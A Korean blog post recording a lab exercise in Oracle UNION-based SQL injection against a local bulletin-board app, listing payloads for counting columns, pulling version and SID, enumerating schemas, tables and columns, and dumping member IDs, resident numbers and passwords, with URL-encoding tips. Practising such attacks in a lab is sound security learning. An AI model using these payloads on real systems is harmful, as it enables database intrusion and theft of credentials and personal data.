Oh! JUN
ORACLE UNION-BASED 공격 실습 본문
1. 게시판 목록
1-1. 컬럼 개수 구하기
' order by 1-- | 정상 출력 |
' order by 2-- | 정상 출력 |
' order by 3-- | 에러 발생(대용량 데이터 타입) |
' order by 4-- | 정상 출력 |
' order by 5-- | 정상 출력 |
' order by 6-- | 정상 출력 |
' order by 7-- | 정상 출력 |
' order by 8-- | 에러 발생 |
' order by 9-- | 에러 발생 |
' order by 10-- | 에러 발생 |
- order by 3번째에서 대용량 데이터 타입이라 에러가 발생한다.
- 컬럼 개수는 7개이다.
1-2. 기본정보
' and 1=2 union all select 1, (select banner from v$version where rownum=1)||'###'||(select global_name from global_name), to_clob('content'), (select user from dual), null, null, null from dual--
(select banner from v$version where rownum=1) | 버전 |
(select global_name from global_name) | SID |
to_clob('content') | order by 3번째 컬럼이 clob 대용량 데이터 타입이라서 |
(select user from dual) | 사용자 |
1-3 사용자(DB) 목록화
' and 1=2 union all select 1, owner, to_clob('content'), 'write', null, null, null from (select distinct owner from all_tables)a--
- all_tables에서 owner가 사용자(DB) 역할을 하는데 중복이 많아서 중복제거 작업을 해줘야한다.
- union만 사용하면 자동으로 중복이 제거되지만 3번째 대용량 데이터 타입때문에 사용이 불가능하다.
- 그렇다고 distinct owner를 사용하면 union과 똑같이 중복을 제거하는 역할을 해서 위와 같은 오류가 발생하게된다.
- 그래서 서브쿼리를 사용해서 중복이 제거된 owner를 union 작업을 수행한다.
1-4. 테이블 목록화
' and 1=2 union all select 1, table_name, to_clob('content'), 'write', null, null, null from all_tables where owner='C##CREHACKTIVE'--
1-5. 컬럼 목록화
' and 1=2 union all select 1, column_name, to_clob('content'), 'write', null, null, null from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD'--
1-6. 데이터 정보
' and 1=2 union all select 1, idx, to_clob('content'), 'write', null, null, null from C##CREHACKTIVE.TB_BOARD--
- oracle은 데이터타입에 민감해서 idx는 숫자타입이라 문자타입 위치에 놓으면 오류 뜬다.
' and 1=2 union all select 1, idx||'###'||title||'###'||writer||'###'||password||'###'||secret||'###'||regdate, to_clob('content'), 'write', null, null, null from C##CREHACKTIVE.TB_BOARD--
- 근데 이렇게 연결 연산자 사용하면 안뜬다.(content 데이터는 왜 안뜨는지 모르겠네;; to_clob함수 붙여도 안됨)
2. 게시물 상세보기
2-1. 컬럼 개수 파악하기
idx=46 order by 1-- | 정상 출력 |
idx=46 order by 2-- | 정상 출력 |
idx=46 order by 3-- | 에러 발생(대용량 데이터 타입) |
idx=46 order by 4-- | 정상 출력 |
idx=46 order by 5-- | 정상 출력 |
idx=46 order by 6-- | 정상 출력 |
idx=46 order by 7-- | 정상 출력 |
idx=46 order by 8-- | 에러 발생 |
idx=46 order by 9-- | 에러 발생 |
idx=46 order by 10-- | 에러 발생 |
2-2. 사용자(DB) 목록화
http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, owner, to_clob('대용량 데이터 타입'), null, null, null, null from (select rownum r, owner from (select distinct owner from all_tables)a)b where b.r=4--
- 게시물 상세보기는 게시판 목록처럼 쿼리 결과를 나열된 상태로 보여주지 않기 때문에 순차적 레코드를 통해 하나씩 파밍해줘야한다.
- (select distinct owner from all_tables)a : all_tables에서 owner를 중복을 제거한다.
- (select rownum r, owner from (select distinct owner from all_tables)a)b : 중복을 제거한 owner에 rownum을 일괄등록한다.
- b.r=4 : select rownum r, owner from (select distinct owner from all_tables)a에서 r에 4를 대입시키면 4행에 위치한 사용자(DB)를 가져올 수 있다.
2-3. 테이블 목록화
http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, table_name, to_clob('대용량 데이터 타입'), null, null, null, null from (select rownum r, table_name from (select distinct table_name from all_tables where owner=%27C%23%23CREHACKTIVE%27)a)b where b.r=1--
- all_tables에서 owner가 C##CREHACKTIVE인 DB의 테이블 이름을 가져온다.(distinct 안붙여도 된다.)
- b.r=1 :1행의 테이블 이름을 가져온다.
※ 주의할 점★
- url 창에서 인젝션 시도하는거니까 url인코딩을 신경써야한다.
- owner='C##CREHACKTIVE'에서 '(작은따움표), ##을 url인코딩 시켜야한다.
- '(작은따움표) : %27 / ## : %23%23
2-4. 컬럼 목록화
http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, column_name, to_clob('대용량 데이터 타입'), null, null, null, null from (select rownum r, column_name from (select distinct column_name from all_tab_columns where owner=%27C%23%23CREHACKTIVE%27 and table_name=%27MEMBERS%27)a)b where b.r=1--
2-5. 데이터 정보
http://127.0.0.1/board/oracle/view.php?idx=46 and 1=2 union all select null, id||%27%23%23%23%27||idx||%27%23%23%23%27||jumin||%27%23%23%23%27||password, to_clob('대용량 데이터 타입'), null, null, null, null from C%23%23CREHACKTIVE.MEMBERS--
'웹 해킹 > SQL Injection' 카테고리의 다른 글
데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용) (0) | 2022.08.30 |
---|---|
UNION-BASED 공격이 가능한 아이디 중복 조회 기능에 대한 공격 실습 (0) | 2022.08.28 |
MYSQL UNION-BASED 공격 실습, 목록과 상세보기의 기능적 차이 (0) | 2022.08.26 |
ORDER BY , UNION 구문 실행 확인 실습 (0) | 2022.08.25 |
UNION 공격 검증 (0) | 2022.08.25 |